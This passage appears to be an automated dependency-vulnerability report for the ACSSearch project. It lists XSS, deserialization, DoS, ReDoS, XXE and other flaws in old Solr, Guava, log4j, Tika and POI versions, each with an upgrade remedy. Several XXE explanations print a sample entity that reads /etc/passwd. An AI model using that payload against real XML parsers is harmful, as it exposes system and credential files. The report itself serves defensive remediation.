The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade org.apache.hadoop:hadoop-hdfs to version 2.7.0 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: org.apache.solr:solr
  • Introduced through: org.apache.solr:solr@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0

Overview

org.apache.solr:solr Multiple cross-site scripting (XSS) vulnerabilities in the Admin UI in Apache Solr before 5.1 allow remote attackers to inject arbitrary web script or HTML via crafted fields that are mishandled during the rendering of the (1) Analysis page, related to webapp/web/js/scripts/analysis.js or (2) Schema-Browser page, related to webapp/web/js/scripts/schema-browser.js.

Details

<>

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: org.apache.solr:solr
  • Introduced through: org.apache.solr:solr@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0

Overview

org.apache.solr:solr Cross-site Scripting (XSS) vulnerability in webapp/web/js/scripts/plugins.js in the stats page in the Admin UI in Apache Solr before 5.3.1 allows remote attackers to inject arbitrary web script or HTML via the entry parameter to a plugins/cache URI.

Details

<>

References

medium severity

Deserialization of Untrusted Data

  • Vulnerable module: com.google.guava:guava
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 com.google.guava:guava@14.0.1
    Remediation: Upgrade to org.apache.solr:solr-core@8.1.0.

Overview

com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. During deserialization, two Guava classes accept a caller-specified size parameter and eagerly allocate an array of that size:

  • AtomicDoubleArray (when serialized with Java serialization)
  • CompoundOrdering (when serialized with GWT serialization)

An attacker may be able to send a specially crafted request which with then cause the server to allocate all it's memory, without validation whether the data size is reasonable.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.google.guava:guava to version 24.1.1, 24.1.1-jre or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: log4j:log4j
  • Introduced through: log4j:log4j@1.2.17, org.apache.solr:solr-solrj@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 log4j:log4j@1.2.17
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 log4j:log4j@1.2.17
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.slf4j:slf4j-log4j12@1.7.7 log4j:log4j@1.2.17

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Denial of Service (DoS). When using the Chainsaw or SocketAppender components with Log4j 1.x on JRE less than 1.7, an attacker that manages to cause a logging entry involving a specially-crafted, deeply nested hashmap or hashtable (depending on which logging component is in use) to be processed could exhaust the available memory in the virtual machine and achieve denial of service when the object is deserialized.

This issue affects Apache Log4j before 2. Affected users are recommended to update to Log4j 2.x org.apache.logging.log4j/log4j-core.

NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

There is no fixed version for log4j:log4j.

References

medium severity

Improper Input Validation

  • Vulnerable module: org.apache.solr:solr-core
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.apache.solr:solr@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-core@8.11.1.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0 org.apache.solr:solr-core@4.8.0
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-analysis-extras@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-analysis-extras@8.11.1.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-cell@8.11.1.

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Improper Input Validation in DataImportHandler, which allows an attacker to provide a Windows UNC path resulting in an SMB network call being made from the Solr host to another host on the network. If the attacker has wider access to the network, this may lead to SMB attacks, which may result in the exfiltration of sensitive data such as OS user hashes (NTLM/LM hashes). In case of misconfigured systems, SMB relay attacks can lead to user impersonation on SMB Shares or, in a worse-case scenario, Remote Code Execution.

Remediation

Upgrade org.apache.solr:solr-core to version 8.11.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: org.apache.tika:tika-core
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.tika:tika-core@1.5
    Remediation: Upgrade to org.apache.solr:solr-cell@8.11.3.

Overview

org.apache.tika:tika-core is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via a specially crafted file, when being parsed by the StandardsText class, which is used by StandardsExtractingContentHandler.

Note: This only affects users who are running the StandardsExtractingContentHandler, which is a non-standard handler.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade org.apache.tika:tika-core to version 1.28.3, 2.4.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: com.google.protobuf:protobuf-java
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 com.google.protobuf:protobuf-java@2.5.0
    Remediation: Upgrade to org.apache.solr:solr-core@9.0.0.

Overview

com.google.protobuf:protobuf-java is a Google's language-neutral, platform-neutral, extensible mechanism for serializing structured data.

Affected versions of this package are vulnerable to Denial of Service (DoS) via the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated embedded messages with repeated or unknown fields cause objects to be converted back and forth between mutable and immutable forms, resulting in potentially long garbage collection pauses.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.google.protobuf:protobuf-java to version 3.16.3, 3.19.6, 3.20.3, 3.21.7 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.drewnoakes:metadata-extractor
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 com.drewnoakes:metadata-extractor@2.6.2
    Remediation: Upgrade to org.apache.solr:solr-cell@8.7.0.

Overview

com.drewnoakes:metadata-extractor is a Java library for reading metadata from image files.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to uncaught exceptions while parsing a specially crafted JPEG file, which could result in an application crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.drewnoakes:metadata-extractor to version 2.18.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.drewnoakes:metadata-extractor
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 com.drewnoakes:metadata-extractor@2.6.2
    Remediation: Upgrade to org.apache.solr:solr-cell@8.7.0.

Overview

com.drewnoakes:metadata-extractor is a Java library for reading metadata from image files.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via a specially crafted JPEG file, that when read can be made to allocate large amounts of memory that finally leads to an out-of-memory error even for very small inputs.

Remediation

Upgrade com.drewnoakes:metadata-extractor to version 2.18.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.commons:commons-compress
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.commons:commons-compress@1.7
    Remediation: Upgrade to org.apache.solr:solr-cell@7.5.0.

Overview

org.apache.commons:commons-compress is an API for working with compression and archive formats.

Affected versions of this package are vulnerable to Denial of Service (DoS). When reading a specially crafted ZIP archive, the read method might fail to return the correct EOF indication after the end of the stream has been reached. If it combined with a java.io.InputStreamReader, it can lead to an infinite stream, which can be used to mount a denial of service attack against services that use Compress' zip package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade org.apache.commons:commons-compress to version 1.18-RC1 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: org.apache.hadoop:hadoop-hdfs
  • Introduced through: org.apache.solr:solr-core@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0 org.apache.hadoop:hadoop-hdfs@2.2.0
    Remediation: Upgrade to org.apache.solr:solr-core@6.2.0.

Overview

org.apache.hadoop:hadoop-hdfs is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of this package are vulnerable to Information Exposure via the short-circuit reads feature of HDFS. A local user on an HDFS DataNode may be able to craft a block token that grants unauthorized read access to random files by guessing certain fields in the token.

Remediation

Upgrade org.apache.hadoop:hadoop-hdfs to version 2.6.4, 2.7.2 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.pdfbox:fontbox
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.pdfbox:fontbox@1.8.4
    Remediation: Upgrade to org.apache.solr:solr-cell@7.6.0.

Overview

org.apache.pdfbox:fontbox is an open source Java tool for working with PDF fonts.

Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. A carefully crafted (or fuzzed) file can trigger an infinite loop which leads to an out of memory exception in Apache PDFBox's AFMParser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade to versions 1.8.15, 2.0.11 or higher.

References

medium severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.apache.poi:poi
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.poi:poi@3.10-beta2
    Remediation: Upgrade to org.apache.solr:solr-cell@7.3.0.

Overview

org.apache.poi:poi is a java library for reading and writing Microsoft Office binary and OOXML file formats.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection as it allows remote attackers to cause a denial of service (CPU consumption) via a specially crafted OOXML file, aka an XML Entity Expansion (XEE) attack.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.poi:poi to version 3.15 or higher.

References

medium severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.apache.poi:poi-ooxml
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.poi:poi-ooxml@3.10-beta2
    Remediation: Upgrade to org.apache.solr:solr-cell@7.3.0.

Overview

org.apache.poi:poi-ooxml is a Java API To Access Microsoft Format Files.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection as it allows remote attackers to cause a denial of service (CPU consumption) via a specially crafted OOXML file, aka an XML Entity Expansion (XEE) attack.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.poi:poi-ooxml to version 3.15 or higher.

References

medium severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.apache.solr:solr-core
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.apache.solr:solr@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-core@6.6.5.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0 org.apache.solr:solr-core@4.8.0
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-analysis-extras@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-analysis-extras@6.6.5.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-cell@6.6.5.

Overview

org.apache.solr:solr-core is an enterprise search platform written using Apache Lucene.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. It can be used as XXE using the file/ftp/http protocols in order to read arbitrary local files from the server or the internal network. The manipulated files can be uploaded as config sets using solr's API, allowing to exploit that vulnerability.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.solr:solr-core to versions 6.6.5, 7.4 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.tika:tika-parsers
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.tika:tika-parsers@1.5
    Remediation: Upgrade to org.apache.solr:solr-cell@8.10.1.

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Denial of Service (DoS) via the MP3Parser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.26 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.tika:tika-parsers
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.tika:tika-parsers@1.5
    Remediation: Upgrade to org.apache.solr:solr-cell@7.5.0.

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. A carefully crafted (or fuzzed) file can trigger an infinite loop via the BPGParser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.18 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.tika:tika-parsers
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.tika:tika-parsers@1.5
    Remediation: Upgrade to org.apache.solr:solr-cell@7.5.0.

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Denial of Service (DoS) via a carefully crafted (or fuzzed) file can trigger an infinite loop via the ChmParser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

